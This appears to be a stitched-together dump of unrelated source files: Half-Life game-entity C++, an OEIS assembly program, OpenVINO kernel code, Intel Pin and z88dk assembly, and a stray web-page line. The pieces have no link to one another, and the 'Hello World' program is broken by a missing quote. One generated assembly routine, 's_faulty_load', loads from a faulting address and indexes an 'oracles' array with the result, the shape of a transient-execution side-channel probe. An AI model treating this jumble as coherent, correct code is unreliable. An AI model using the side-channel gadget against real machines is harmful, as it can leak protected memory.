IMPLEMENT_SAVERESTORE( CGunTarget, CBaseMonster );
void CGunTarget::Spawn( void )
{
pev->solid = SOLID_BSP;
pev->movetype = MOVETYPE_PUSH;
UTIL_SetOrigin(pev, pev->origin);
SET_MODEL(ENT(pev), STRING(pev->model) );
if ( pev->speed == 0 )
pev->speed = 100;
// Don't take damage until "on"
pev->takedamage = DAMAGE_NO;
pev->flags |= FL_MONSTER;
m_on = FALSE;
pev->max_health = pev->health;
if ( pev->spawnflags & FGUNTARGET_START_ON )
{
SetThink( &CGunTarget::Start );
pev->nextthink = pev->ltime + 0.3;
}
}
void CGunTarget::Activate( void )
{
CBaseEntity *pTarg;
// now find our next target
pTarg = GetNextTarget();
if ( pTarg )
{
m_hTargetEnt = pTarg;
UTIL_SetOrigin( pev, pTarg->pev->origin - (pev->mins + pev->maxs) * 0.5 );
}
}
void CGunTarget::Start( void )
{
Use( this, this, USE_ON, 0 );
}
void CGunTarget::Next( void )
{
SetThink( NULL );
m_hTargetEnt = GetNextTarget();
CBaseEntity *pTarget = m_hTargetEnt;
if ( !pTarget )
{
Stop();
return;
}
SetMoveDone( &CGunTarget::Wait );
LinearMove( pTarget->pev->origin - (pev->mins + pev->maxs) * 0.5, pev->speed );
}
void CGunTarget::Wait( void )
{
CBaseEntity *pTarget = m_hTargetEnt;
if ( !pTarget )
{
Stop();
return;
}
// Fire the pass target if there is one
if ( pTarget->pev->message )
{
FireTargets( STRING(pTarget->pev->message), this, this, USE_TOGGLE, 0 );
if ( FBitSet( pTarget->pev->spawnflags, SF_CORNER_FIREONCE ) )
pTarget->pev->message = 0;
}
m_flWait = pTarget->GetDelay();
pev->target = pTarget->pev->target;
SetThink( &CGunTarget::Next );
if (m_flWait != 0)
{// -1 wait will wait forever!
pev->nextthink = pev->ltime + m_flWait;
}
else
{
Next();// do it RIGHT now!
}
}
void CGunTarget::Stop( void )
{
pev->velocity = g_vecZero;
pev->nextthink = 0;
pev->takedamage = DAMAGE_NO;
}
int CGunTarget::TakeDamage( entvars_t *pevInflictor, entvars_t *pevAttacker, float flDamage, int bitsDamageType )
{
if ( pev->health > 0 )
{
pev->health -= flDamage;
if ( pev->health <= 0 )
{
pev->health = 0;
Stop();
if ( pev->message )
FireTargets( STRING(pev->message), this, this, USE_TOGGLE, 0 );
}
}
return 0;
}
void CGunTarget::Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value )
{
if ( !ShouldToggle( useType, m_on ) )
return;
if ( m_on )
{
Stop();
}
else
{
pev->takedamage = DAMAGE_AIM;
m_hTargetEnt = GetNextTarget();
if ( m_hTargetEnt == NULL )
return;
pev->health = pev->max_health;
Next();
}
}
|
; A106666: G.f. (1-4*x^2+2*x^3)/((1-x)*(2*x^3-2*x^2-2*x+1)).
; 1,3,5,13,29,73,177,441,1089,2705,6705,16641,41281,102433,254145,630593,1564609,3882113,9632257,23899521,59299329,147133185,365065985,905799681,2247464961,5576397313,13836125185,34330115073,85179685889
mov $1,1
lpb $0
mov $2,$0
add $0,2
trn $0,4
seq $2,52987 ; Expansion of (1-2x^2)/(1-2x-2x^2+2x^3).
add $1,$2
lpe
mov $0,$1
|
#include <iostream> //congrats, this is your first line of code
using namespace std;
/*we must start a programming lesson with
saying "hello" to the world. hahaha :D*/
int main() {
cout << "Hello World! << endl;
return 0;
}
|
// Copyright (C) 2018-2022 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include <range_inst.h>
#include "primitive_base.hpp"
#include <impls/implementation_map.hpp>
#include <kernel_selector_helper.h>
#include <range/range_kernel_selector.h>
#include <range/range_kernel_ref.h>
#include <intel_gpu/runtime/error_handler.hpp>
namespace cldnn {
namespace ocl {
struct range_impl : typed_primitive_impl_ocl<range> {
using typed_primitive_impl_ocl::typed_primitive_impl_ocl;
std::unique_ptr<primitive_impl> clone() const override {
return make_unique<range_impl>(*this);
}
static primitive_impl* create(const range_node& arg) {
auto params = get_default_params<kernel_selector::range_params>(arg);
for (int i : {1, 2})
params.inputs.push_back(convert_data_tensor(arg.input(i).get_output_layout()));
auto optional_params =
get_default_optional_params<kernel_selector::range_optional_params>(arg.get_program());
auto& kernel_selector = kernel_selector::range_instance();
auto best_kernels = kernel_selector.GetBestKernels(params, optional_params);
CLDNN_ERROR_BOOL(arg.id(),
"Best_kernel.empty()",
best_kernels.empty(),
"Cannot find a proper kernel with this arguments");
return new range_impl{arg, best_kernels.front()};
}
};
namespace detail {
attach_range_impl::attach_range_impl() {
implementation_map<range>::add(
impl_types::ocl,
range_impl::create,
{
std::make_tuple(data_types::u8, format::bfyx),
std::make_tuple(data_types::i8, format::bfyx),
std::make_tuple(data_types::f16, format::bfyx),
std::make_tuple(data_types::f32, format::bfyx),
std::make_tuple(data_types::i32, format::bfyx),
std::make_tuple(data_types::i64, format::bfyx),
});
}
} // namespace detail
} // namespace ocl
} // namespace cldnn
|
; BEGIN_LEGAL
; Intel Open Source License
;
; Copyright (c) 2002-2016 Intel Corporation. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer. Redistributions
; in binary form must reproduce the above copyright notice, this list of
; conditions and the following disclaimer in the documentation and/or
; other materials provided with the distribution. Neither the name of
; the Intel Corporation nor the names of its contributors may be used to
; endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; END_LEGAL
PUBLIC SetAppFlags_asm
.686
.model flat, c
extern flagsVal:dword
.code
SetAppFlags_asm PROC
pushfd
pop eax
mov edx, eax
or eax, 0cd5H
push eax
popfd
pushfd
pop eax
lea ecx,flagsVal
mov DWORD PTR [ecx], eax
push edx
popfd
ret
SetAppFlags_asm ENDP
end |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r15
push %r9
push %rbp
push %rdx
lea addresses_WT_ht+0x6a64, %r14
sub %r9, %r9
vmovups (%r14), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %r11
nop
nop
nop
nop
nop
add $47422, %r9
lea addresses_A_ht+0x18164, %rbp
nop
nop
nop
nop
nop
xor $52050, %rdx
movb $0x61, (%rbp)
xor %rdx, %rdx
lea addresses_WT_ht+0x2e64, %r14
nop
nop
nop
cmp %r15, %r15
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
vmovups %ymm3, (%r14)
nop
nop
and $22335, %r15
pop %rdx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r9
push %rbx
push %rcx
push %rsi
// Store
lea addresses_RW+0x14764, %rsi
nop
nop
nop
sub $20638, %rcx
movl $0x51525354, (%rsi)
nop
nop
nop
cmp $18719, %r13
// Store
lea addresses_WC+0x16c08, %r14
nop
nop
nop
nop
cmp %rbx, %rbx
movl $0x51525354, (%r14)
nop
inc %r13
// Faulty Load
lea addresses_RW+0x8a64, %r14
nop
nop
nop
and %rcx, %rcx
mov (%r14), %esi
lea oracles, %r13
and $0xff, %rsi
shlq $12, %rsi
mov (%r13,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'32': 144}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
; void SMS_VRAMmemcpy(unsigned int dst,void *src,unsigned int size)
SECTION code_clib
SECTION code_SMSlib
PUBLIC _SMS_VRAMmemcpy_callee
EXTERN asm_SMSlib_VRAMmemcpy
_SMS_VRAMmemcpy_callee:
pop af
pop hl
pop de
pop bc
push af
jp asm_SMSlib_VRAMmemcpy
|
SECTION code_clib
SECTION code_math
PUBLIC l_small_divs_16_16x16, l0_small_divs_16_16x16
EXTERN l_neg_hl, l_neg_de
EXTERN l0_small_divu_16_16x16, error_divide_by_zero_mc
; alternate entry to swap dividend / divisor
ex de,hl
l_small_divs_16_16x16:
; signed division of two 16-bit numbers
;
; enter : hl = 16-bit dividend
; de = 16-bit divisor
;
; exit : success
;
; hl = quotient
; de = remainder
; carry reset
;
; divide by zero
;
; hl = INT_MAX or INT_MIN
; de = dividend
; carry set, errno = EDOM
;
; uses : af, bc, de, hl
; test for divide by zero
ld a,d
or e
jr z, divide_by_zero
l0_small_divs_16_16x16:
; C standard requires that the result of division satisfy
; a = (a/b)*b + a%b
; remainder takes sign of the dividend
ld b,h ; b = MSB of dividend
ld c,d ; c = MSB of divisor
push bc ; save sign info
bit 7,h
call nz, l_neg_hl ; take absolute value of dividend
bit 7,d
call nz, l_neg_de ; take absolute value of divisor
; perform unsigned division
call l0_small_divu_16_16x16
; hl = unsigned quotient
; de = unsigned remainder
pop bc ; bc = sign info
ld a,b
xor c
jp m, l_neg_hl ; negate quotient
bit 7,b
ret z ; if dividend was positive
jp l_neg_de ; negate remainder
divide_by_zero:
ex de,hl ; de = dividend
call error_divide_by_zero_mc
ld h,$7f ; hl = INT_MAX
bit 7,d
ret z ; if dividend > 0
inc hl ; hl = INT_MIN
ret
|
// Copyright (C) 2018-2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include "base.hpp"
#include <cmath>
#include <string>
#include <vector>
#include <cassert>
#include "ie_parallel.hpp"
namespace InferenceEngine {
namespace Extensions {
namespace Cpu {
class FillImpl: public ExtLayerBase {
public:
explicit FillImpl(const CNNLayer* layer) {
try {
if (layer->insData.empty() || layer->outData.empty())
IE_THROW() << layer->name << " Incorrect number of input/output edges!";
if (layer->insData.size() != 2)
IE_THROW() << layer->name << " Incorrect number of input edges!";
SizeVector fill_dims = layer->insData[FILL_DIMS].lock()->getTensorDesc().getDims();
if (fill_dims.size() > 1)
IE_THROW() << layer->name << " Fill dimensions vector should be 1 dimension";
SizeVector value_dims = layer->insData[FILL_VALUE].lock()->getTensorDesc().getDims();
if (value_dims.size() > 1)
IE_THROW() << layer->name << " Value scalar should have 1 dimension";
if (!(layer->insData[FILL_VALUE].lock()->getTensorDesc().getPrecision() == Precision::I32 &&
layer->outData[0]->getTensorDesc().getPrecision() == Precision::I32) &&
!(layer->insData[FILL_VALUE].lock()->getTensorDesc().getPrecision() == Precision::FP32 &&
layer->outData[0]->getTensorDesc().getPrecision() == Precision::FP32)) {
addConfig(layer, { DataConfigurator(ConfLayout::PLN, Precision::I32), DataConfigurator(ConfLayout::PLN, Precision::FP32) },
{ DataConfigurator(ConfLayout::PLN, Precision::FP32) });
} else {
addConfig(layer, { DataConfigurator(ConfLayout::PLN, Precision::I32), DataConfigurator(ConfLayout::PLN) },
{ DataConfigurator(ConfLayout::PLN) });
}
} catch (InferenceEngine::Exception &ex) {
errorMsg = ex.what();
}
}
StatusCode execute(std::vector<Blob::Ptr>& inputs, std::vector<Blob::Ptr>& outputs, ResponseDesc *resp) noexcept override {
int32_t* fill_dims = inputs[FILL_DIMS]->cbuffer().as<int32_t *>() +
inputs[FILL_DIMS]->getTensorDesc().getBlockingDesc().getOffsetPadding();
size_t fill_size = inputs[FILL_DIMS]->getTensorDesc().getDims()[0];
SizeVector dst_dims = outputs[0]->getTensorDesc().getDims();
if (dst_dims.size() != fill_size) {
if (resp) {
std::string errorMsg = "Output tensor dimension mismatch";
errorMsg.copy(resp->msg, sizeof(resp->msg) - 1);
}
return PARAMETER_MISMATCH;
}
size_t work_amount_dst = 1;
for (size_t i = 0; i < dst_dims.size(); i++) {
work_amount_dst *= fill_dims[i];
if (static_cast<int>(dst_dims[i]) != fill_dims[i]) {
if (resp) {
std::string errorMsg = "Output tensor dimension size mismatch";
errorMsg.copy(resp->msg, sizeof(resp->msg) - 1);
}
return PARAMETER_MISMATCH;
}
}
switch (outputs[0]->getTensorDesc().getPrecision()) {
case Precision::FP32: {
float* dst_data = outputs[0]->cbuffer().as<float *>() +
outputs[0]->getTensorDesc().getBlockingDesc().getOffsetPadding();
float value = (inputs[FILL_VALUE]->cbuffer().as<float *>() +
inputs[FILL_VALUE]->getTensorDesc().getBlockingDesc().getOffsetPadding())[0];
parallel_nt(0, [&](const int ithr, const int nthr) {
size_t start = 0, end = 0;
splitter(work_amount_dst, nthr, ithr, start, end);
std::fill_n(dst_data + start, end - start, value);
});
}
break;
case Precision::I32: {
int32_t* dst_data = outputs[0]->cbuffer().as<int32_t *>() +
outputs[0]->getTensorDesc().getBlockingDesc().getOffsetPadding();
int32_t value = (inputs[FILL_VALUE]->cbuffer().as<int32_t *>() +
inputs[FILL_VALUE]->getTensorDesc().getBlockingDesc().getOffsetPadding())[0];
parallel_nt(0, [&](const int ithr, const int nthr) {
size_t start = 0, end = 0;
splitter(work_amount_dst, nthr, ithr, start, end);
std::fill_n(dst_data + start, end - start, value);
});
return OK;
}
break;
default:
if (resp) {
std::string errorMsg = "Incorrect output precision. Only FP32 and I32 are supported!";
errorMsg.copy(resp->msg, sizeof(resp->msg) - 1);
}
return GENERAL_ERROR;
}
return OK;
}
private:
const size_t FILL_DIMS = 0;
const size_t FILL_VALUE = 1;
};
REG_FACTORY_FOR(FillImpl, Fill);
} // namespace Cpu
} // namespace Extensions
} // namespace InferenceEngine
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.